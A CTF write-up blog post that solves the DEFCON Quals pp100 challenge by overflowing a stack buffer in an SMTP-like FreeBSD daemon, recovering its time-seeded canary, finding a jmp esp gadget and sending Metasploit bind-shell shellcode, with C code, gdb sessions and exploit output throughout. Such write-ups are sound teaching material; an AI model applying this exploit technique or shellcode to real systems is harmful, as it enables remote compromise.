Defcon Quals pp100 Writeup

Last weekend we participated in the defcon quals and I tought I'll make a writeup of the one challenge which drove me crazy. During the quals I was not able to exploit it because of the timezone difference, but then I thought I need to solve it otherwise I'll never be able to sleep quietly again.

So here's my writeup.

After downloading the file we check what binary we're facing:

fbsd8-utc# file pp100_05ad9efbc4b0c16f243.bin
pp100_05ad9efbc4b0c16f243.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 7.3, dynamically linked (uses shared libs), FreeBSD-style, not stripped
And a quick peek into the strings available:

fbsd8-utc# strings pp100_05ad9efbc4b0c16f243.bin | more
$FreeBSD: src/lib/csu/i386-elf/crti.S,v 2010/02/10 00:26:20 kensmith Exp $
Unable to set SIGCHLD handler
Unable to create socket
Unable to set reuse
Unable to bind socket
Unable to listen on socket
Failed to find user %s
drop_privs failed!
setgid current gid: %d target gid: %d
setgid current uid: %d target uid: %d
250 %d:%d:%d
250 2.1.5 Ok
550 Invalid sender
550 Unknown or invalid recipient
354 End data with <cr><lf>.<cr><lf>
250 2.0.0 Ok: queued as 9BDF718A98
334 VXNlcm5hbWU6
334 UGFzc3dvcmQ6
220 C-Mail service ready at %s
502 Huh
$FreeBSD: src/lib/csu/i386-elf/crtn.S,v 2010/02/10 00:26:20 kensmith Exp $

The password is already available in the strings but IDA shows it even better :) so here we go

From the strings we can see that it is some kind of SMTP server (EHLOHELOQUITMAILRCPTDATAUPTMAUTH).
After loading the binary into IDA I started searching for the usual calls but I found no strcpy or memcpy calls.
In the end I saw the fgets calls and look where they're referenced.

Down p data+46             call    _fgets 
Down p auth+49             call    _fgets 
Down p auth+86             call    _fgets 
Down p client_callback+159 call    _fgets 

The auth fgets calls are not interesting for us as they don't have a overflow capability,
but with data we can work.
Here is the "data" function:

int data(FILE *a1, char *a2)
  int v3;
  v3 = secret;
  fwrite(&quot;354 End data with &lt;CR&gt;&lt;LF&gt;.&lt;CR&gt;&lt;LF&gt;\r\n&quot;, 1u, 0x25u, a1);
    fgets(a2, 512, a1);
  while ( strcmp(a2, &quot;.\r\n&quot;) &amp;&amp; strcmp(a2, &quot;.\n&quot;) );
  fwrite(&quot;250 2.0.0 Ok: queued as 9BDF718A98\r\n&quot;, 1u, 0x24u, a1);
  if ( v3 != secret )
  return 0;

We can see that 512 bytes are copied into a2. a2 is only 256 bytes big which will result in a stack overflow.
We have only one problem, there are everywhere those secret canary checks and we will overflow the caller function client_callback() which will then fails because the secret is overwritten by us.

Check function is something like:

if ( v5 != secret )

Let's see what happens if we send a large string.

fbsd8-utc# nc 49217
Password: zenata
220 C-Mail service ready at Wed May 26 20:55:31 2010
354 End data with <cr><lf>.<cr><lf>
250 2.0.0 Ok: queued as 9BDF718A98

Nothing happened it just exited, so the secret check must be outside this function crashing.
If you trace it further you'll see the check at 0x08049C44 is failing.

If we set a breakpoint there and send our big string again:

Breakpoint 1, 0x08049c49 in client_callback ()
(gdb) x/i $eip
0x8049c49 <client_callback+505>:        cmp    %eax,0xfffffff8(%ebp)
(gdb) x/x $eax
0x50b24d57:     Cannot access memory at address 0x50b24d57
(gdb) x/x $ebp-8
0xbfbfeb50:     0x41414141

So the secret is 0x50b24d57 and our value is 0x41414141 so we overwrite the secret value and it
will just exit.
Let's set the secret to 0x414141 to see what happens if it would continue running.

(gdb) set $eax=0x41414141

and we will see the program segfault.

(gdb) c

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
0x41414141:     Cannot access memory at address 0x41414141
(gdb) bt
#0  0x41414141 in ?? ()
#1  0x41414141 in ?? ()
#2  0x41414141 in ?? ()

This means we can cause a simple stack overflow if we can get the secret right.

Let's take a look what this secret canary is all about.

The secret initiation looks like this:

time((time_t *)&amp;base);
secret = rand();

First the time since epoch is calculated (since 01 of Jan 1970). This value is then used as seed for the random number generator.
The random number is then saved in the secret variable which represents our stack canary.

As it is time based, let's see if we can recompute it.

The binary gives us the localtime:

fbsd8-utc# nc 49217
Password: zenata
220 C-Mail service ready at Wed May 26 21:30:20 2010

And as well the uptime

fbsd8-utc# nc 49217
Password: zenata
220 C-Mail service ready at Wed May 26 21:30:20 2010
250 2:0:57

So localtime-uptm = start time which is used as seed for rand.

Let's take a look at the calculation.
(yes it's C not python, I tought I have time to do it in C as the quals are over now and it gives this oldschool feeling :)).

let's look at the code, thank at this point to hempel for the initial time handling code.

// Get the current time
    sscanf(daemon_info, &quot;220 C-Mail service ready at %s May %u %u:%u:%u 2010\n&quot;, day, &amp;d1, &amp;h1, &amp;m1, &amp;s1);
// calculate the time since epoch
    time_str.tm_year = 2010 - 1900;
    time_str.tm_mon = 5 - 1;
    time_str.tm_mday = d1;
    time_str.tm_hour = h1;
    time_str.tm_min = m1;
    time_str.tm_sec = s1;
    time_str.tm_isdst = -1;
    now = timegm(&amp;time_str);
// Uptime information
    sscanf(daemon_info, &quot;250 %u:%u:%u\n&quot;, &amp;h, &amp;m, &amp;s);
// calculate the intial time()
    base =now - ((h * 3600 + m *60 + s) );
// seed srand with our base
//get the secret
     secret = rand();

This correctly calculates the secret on the local machine.
In the challenge, the box was on a different time zone which made this fail, so you'd need to add
a small offset calculation like:

base =now - ((h * 3600 + m *60 + (s + (3600 * offset))) );

so for every time zone from 0 to 12 you try each offset an see if that works if not you'd need to do
the same from 0 to -12.

Let's try if this computation works.

Breakpoint 1, 0x08049c49 in client_callback ()
(gdb) x/x $eax
0x50b24d57:     Cannot access memory at address 0x50b24d57
(gdb) x/x $ebp-8
0xbfbfeb50:     0x50b24d57

So the calculation is correct.

Now let's check how much we need to overwrite the secret.

.text:08049A50 buffer= dword ptr -114h
.text:08049A50 strean= dword ptr -110h
.text:08049A50 var_D= byte ptr -0Dh
.text:08049A50 timer= byte ptr -

114 - C = 108 (264)

So with 264 byte we should overwrite the secret, we could do this as well with the metasploit pattern generator and pattern offset calculator.
But i thought using metasploit once in a blog post is enough :)

After 260 chars you start to overwrite the secret.
Let's will send another string [Junk][secret][AAAABBBBCCCC] to test for the EIP padding.

(gdb) c

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()

Now we know, that 8 bytes after the secret is EIP located.
Now we can start looking around how to get to the shellcode.

let's send a new string which looks like this:


(gdb) x/20x $eax
0x0:    Cannot access memory at address 0x0
(gdb) x/20x $ebx
0xbfbfec20:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfbfec30:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfbfec40:     0xbfbf000a      0xbfbfee65      0xbfbfee71      0xbfbfee80
0xbfbfec50:     0xbfbfeea2      0xbfbfeed8      0xbfbfeeeb      0xbfbfeefc
0xbfbfec60:     0xbfbfef09      0xbfbfef18      0xbfbfef26      0xbfbfef2e
(gdb) x/20x $ecx
0x0:    Cannot access memory at address 0x0
(gdb) x/20x $edx
0x898:  Cannot access memory at address 0x898
(gdb) x/20x $edi
0xbfbfec28:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfbfec38:     0x00000000      0x00000000      0xbfbf000a      0xbfbfee65
0xbfbfec48:     0xbfbfee71      0xbfbfee80      0xbfbfeea2      0xbfbfeed8
0xbfbfec58:     0xbfbfeeeb      0xbfbfeefc      0xbfbfef09      0xbfbfef18
0xbfbfec68:     0xbfbfef26      0xbfbfef2e      0xbfbfef38      0xbfbfef44
(gdb) x/20x $esi
0x1:    Cannot access memory at address 0x1
(gdb) x/20x $ebp
0x42424242:     Cannot access memory at address 0x42424242
(gdb) x/20x $esp
0xbfbfeb60:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfbfeb70:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfbfeb80:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfbfeb90:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfbfeba0:     0x90909090      0x90909090      0x90909090      0x90909090

Our shellcode would be located at esp, now we just need to find a working jmp/call esp instruction.
For that let's use metasploits msfelfscan.

fbsd8-utc# /root/msf3/msfelfscan -j esp pp100_05ad9efbc4b0c16f243.bin

hmm none available.

After that I started the pp100_05ad9efbc4b0c16f243.bin binary multiple times to check if the memory
areas are changing or not and surprisingly they don't.

fbsd8# cat /proc/4051/map
0x8048000 0x804a000 2 0 0xc355aa80 r-x 1 0 0x3100 COW NNC vnode /root/pp100_05ad9efbc4b0c16f243.bin
0x804a000 0x804b000 1 0 0xc3673e00 rw- 1 0 0x3100 COW NNC default -
0x804b000 0x8100000 0 0 0xc3562d80 rwx 2 0 0x1100 COW NC default -
0x2804a000 0x28072000 40 0 0xc3577b00 r-x 1 0 0x3100 COW NNC vnode /libexec/
0x28072000 0x28074000 2 0 0xc355ac80 rw- 2 0 0x1100 COW NC vnode /libexec/
0x28074000 0x28079000 5 0 0xc3576280 rw- 1 0 0x3100 COW NNC default -
0x28079000 0x28081000 7 0 0xc364d680 rwx 1 0 0x3100 COW NNC default -
0x28081000 0x2816b000 195 0 0xc155a780 r-x 44 21 0x1004 COW NC vnode /lib/
0x2816b000 0x28171000 6 0 0xc366f700 rwx 1 0 0x3100 COW NNC vnode /lib/
0x28171000 0x28187000 13 0 0xc366f100 rwx 1 0 0x3100 COW NNC default -
0x28200000 0x28300000 22 0 0xc366fb80 rwx 1 0 0x3100 COW NNC default -
0xbfbe0000 0xbfc00000 4 0 0xc3577400 rwx 1 0 0x3100 COW NNC default -

So we can check if in the we can find a usable value.

fbsd8-utc# /root/msf3/msfelfscan -j esp /lib/ -I 0x28081000
0x280c00ec push esp; ret
0x281601a3 jmp esp
0x281601b7 jmp esp
0x281601bb jmp esp
0x281601bf jmp esp
0x2816a36b jmp esp

There we go some usable addresses.

So let's send another test string looking like this:


If everything works we should see a breakpoint trap in gdb.

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbfbfeb61 in ?? ()

Great, it works let's look around EIP.

(gdb) x/20x $eip
0xbfbfeb61:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfbfeb71:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfbfeb81:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfbfeb91:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfbfeba1:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc

our \xcc's are everywhere great, so we can put a real shellcode there.

$ ./msfpayload bsd/x86/shell/bind_tcp LPORT=55555 R | ./msfencode -e x86/shikata_ga_nai  
[*] x86/shikata_ga_nai succeeded with size 82 (iteration=1)

buf = 
"\x29\xc9\xb1\x0e\xdb\xc9\xd9\x74\x24\xf4\xbf\xee\x08\x18" +
"\x22\x58\x83\xc0\x04\x31\x78\x12\x03\x78\x12\xe2\x1b\x62" +
"\x79\x7a\x7a\x21\x11\x6a\x7e\x1f\xe2\x03\x9f\xcd\xa7\x41" +
"\x1d\xa0\x4d\x76\x6c\xc4\x0b\xe5\x3f\x96\x79\x60\xd7\x40" +
"\xb3\xf4\x97\x1b\x86\x75\x85\x88\xae\x66\x7b\x9f\xd1\x4b" +

The end string looks like that:

260 4 8 4 50 variable

326 + shellcode

The exploit already has the offset option as mentioned above to work on machines which have UTC+x
In my case the test target box has UTC+8

fbsd8-utc# ./expl -t -o 8
[+] Connecting to target
[+] Authentication information sent
[+] Reading time information
[+] Calculating time
[+] now is  4bfda657
[+] Getting uptime
[+] base = 4bfd0672
[+] Calculated secret is 50b24d57
[+] 250 2.0.0 Ok: queued as 9BDF718A98
[+] quit 221

Ok our code was send, now let's try to connect to the target machine on port 55555 as defined in our shellcode.

fbsd8-utc# nc 55555
uid=1001(digger) gid=1001(digger) groups=1001(digger)

As the ctf was already over I had time to write a bit better exploit :)

[+] Connecting to target
[+] Authentication information sent
[+] Reading time information
[+] Calculating time
[+] now is  4bff1322
[+] Getting uptime
[+] base = 4bfe96bf
[+] Calculated secret is 375afc93
[+] 250 2.0.0 Ok: queued as 9BDF718A98
[+] quit 221

[!!! Spawning shell !!!]

uid=1001(digger) gid=1001(digger) groups=1001(digger)


I hope this would have actually worked in the quals, as they're over now I can't verify that :)
I hope you enjoyed this post as much as I enjoyed exploiting it.

See ya at the next CTF.


© 2015 coma. All rights reserved.
Disclaimer: There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk.
In no event shall the author be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.